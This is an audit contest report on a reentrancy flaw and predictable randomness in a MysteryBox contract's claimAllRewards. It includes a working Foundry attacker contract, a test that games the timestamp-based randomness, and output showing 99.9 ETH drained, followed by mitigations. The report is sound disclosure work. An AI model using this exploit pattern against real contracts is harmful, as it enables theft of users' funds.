Submission Details
Severity:
Reentrancy vulnerability in MysteryBox::claimAllRewards allows an attacker to steal funds.
Description
The function MysteryBox::claimAllRewards is vulnerable to reentracy attacks.
The attack in this report exploits the following vulnerabilities in the protocol:
The predicability of the random number used to select a reward.
The lack of any reentrancy guard when claiming rewards.
The Checks Effects and Interactions (CEI) pattern is not used.
Impact
Using this attack funds can be stolen from the protocol.
Preconditions for running POC.
Install the
openzeppelinlibrary using the command shown below.Add the
SimpleAttacker.solto the project in thesrcdirectory.Add the Unit Test file to the
testdirectory.Install the openzeppelin library which is used in the file
SimpleAttacker.sol. Using the following command should do it.
forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit
Proof of Concept
File: SimpleAttacker.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import {console} from "forge-std/Test.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {MysteryBox} from "./MysteryBox.sol";
/**
Need to run this to install the relevant library for the attack
forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit
*/
contract SimpleAttacker is IERC721Receiver {
MysteryBox victim;
uint256 boxPrice = 0.1 ether; // hardcoded is find fine attack POC
bool hasReward = false;
uint256 rewardValue;
uint256 constant CALL_LIMIT=500;
uint256 callCount;
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
// Note: We need to call this with some eth so we can buy boxes
// until we get a reward
// when we have one reward we can reclaim that single reward
// over and over using
// a reentrancy attack.
constructor(MysteryBox _victim) payable {
victim = _victim;
}
// call the attack function on our contract to get the ball rolling.
function attack() public {
console.log("Attack called...");
while ( hasReward == false && address(victim).balance >= boxPrice ) {
//buy a box
victim.buyBox{value: boxPrice}();
// open box to get a reward
// if we have predicted the random value we'll have one box
// and one reward .5 eth
// otherwise we'll need to loop until we get a reward and then
// start the re-entrant calls
// luckly the random function is easy to predict - see test case
victim.openBox();
uint256 last = victim.getRewards().length - 1;
rewardValue = victim.getRewards()[last].value;
console.log("Our reward value is: %s", rewardValue );
// if we have a reward we'll use it to try and steal as
// much from the victim contract as we can.
if ( rewardValue > 0 ){
hasReward = true;
}
}
if ( hasReward ){
// always get the last reward and then re-enter
// (the victim contract will call our receive function below)
// victim.claimSingleReward(victim.getRewards().length - 1);
// Note: also re-entrant function
victim.claimAllRewards();
}
}
receive() external payable {
// once we have received one reward we can use it to drain the
// victim contract
hasReward = true;
bool notYetDrained = address(victim).balance >= rewardValue;
// CALL_LIMIT controls this call depth/number of calls made.
// This is just to stop us running out of gas which would cause
// everything to revert/unwind.
// It's only really needed for the claimAllRewards variant or
// if we have a very small reward, and a large victim balance.
// It's also useful for when we have to brute force winning a
// reward, which will increase the gas cost, that is we might
// need to buy a many boxes in order to get a reward.
callCount = callCount + 1;
// reenter until it's all gone or we hit the call limit.
if ( notYetDrained && callCount < CALL_LIMIT ) {
// always get the last reward and then re-enter
// (the victim contract will call our receive function below)
// victim.claimSingleReward(victim.getRewards().length - 1);
// Note: also re-entrant function
victim.claimAllRewards();
}
}
}
Standalone test file: TestMysteryBoxRentrancySimple.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console2} from "forge-std/Test.sol";
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
import "../src/SimpleAttacker.sol";
contract MysteryBoxReentrantcySimpleTest is Test {
MysteryBox public mysteryBox;
address public owner;
SimpleAttacker attacker;
function setUp() public {
owner = makeAddr("owner");
vm.deal(owner, 1000 ether);
vm.prank(owner);
//seed the mysterybox (the victim) with 100 ether
mysteryBox = new MysteryBox{value: 100 ether }();
// credit the attacker with 1 ether so they can buy some boxes.
attacker = new SimpleAttacker{value: 1 ether}(mysteryBox);
}
function testAttackerAtTimestampSimple() public {
// timestamp generated from the testRandom function below.
// generates a value of 98 as the block.timestamp (for the
// "random" number) so we'll get a reward.
uint256 timestamp = 1785601;
vm.warp(timestamp);
// get the balances before the attack
uint256 victimStartBalance = address(mysteryBox).balance;
uint256 attackerStartBalance = address(attacker).balance;
// start the attack
attacker.attack();
//get the balances after the attack
uint256 victimEndBalance = address(mysteryBox).balance;
uint256 attackerEndBalance = address(attacker).balance;
console.log("");
console2.log("Starting Victim balance: %s", victimStartBalance);
console2.log("Final Victim balance: %s", victimEndBalance);
console.log("");
console2.log("Starting Attacker balance: %s", attackerStartBalance);
console2.log("Final Attacker balance: %s", attackerEndBalance);
console2.log("Funds stolen: %s Wei (~263,942.82 USD)", victimStartBalance - victimEndBalance);
assert(attackerStartBalance < victimStartBalance);
assert(attackerEndBalance > victimEndBalance);
}
// figure out which timestamp gives us a good result (random lol)
function testRandom() public view {
uint256 ts = block.timestamp;
uint256 randomValue = uint256(keccak256(abi.encodePacked(ts,
address(attacker)))) % 100;
for (uint256 index = 0; index < 100; index++) {
ts += ((60 * 60) * index);
randomValue = uint256(keccak256(abi.encodePacked(ts,
address(attacker)))) % 100;
console2.log("%s randomValue is %s %s", index, randomValue, ts);
}
}
}
Run the exploit
forge test --mt testAttackerAtTimestampSimple -vvv
[⠆] Compiling...
[⠰] Compiling 2 files with 0.8.20
[⠔] Solc 0.8.20 finished in 3.11s
Compiler run successful!
Ran 1 test for test/TestMysteryBoxRentrancySimple.t.sol:MysteryBoxReentrantcySimpleTest
[PASS] testAttackerAtTimestampSimple() (gas: 2132747)
Logs:
Attack called...
Our reward value is: 500000000000000000
Starting Victim balance: 100000000000000000000
Final Victim balance: 100000000000000000
Starting Attacker balance: 1000000000000000000
Final Attacker balance: 100900000000000000000
Funds stolen: 99900000000000000000 Wei (~263,942.82 USD)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.82ms (16.54ms CPU time)
Ran 1 test suite in 401.79ms (17.82ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended mitigation(s)
Adopt openzepplin libraries that include reentrancy guards.
Adopt CEI pattern (see solidity security docs for a description).
Use a random number generator that does not allow numbers to be predicted.
References
https://docs.soliditylang.org/en/latest/security-considerations.html
Tools Used
Foundry
Updates
Appeal created
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
`claimAllRewards` reentrancy
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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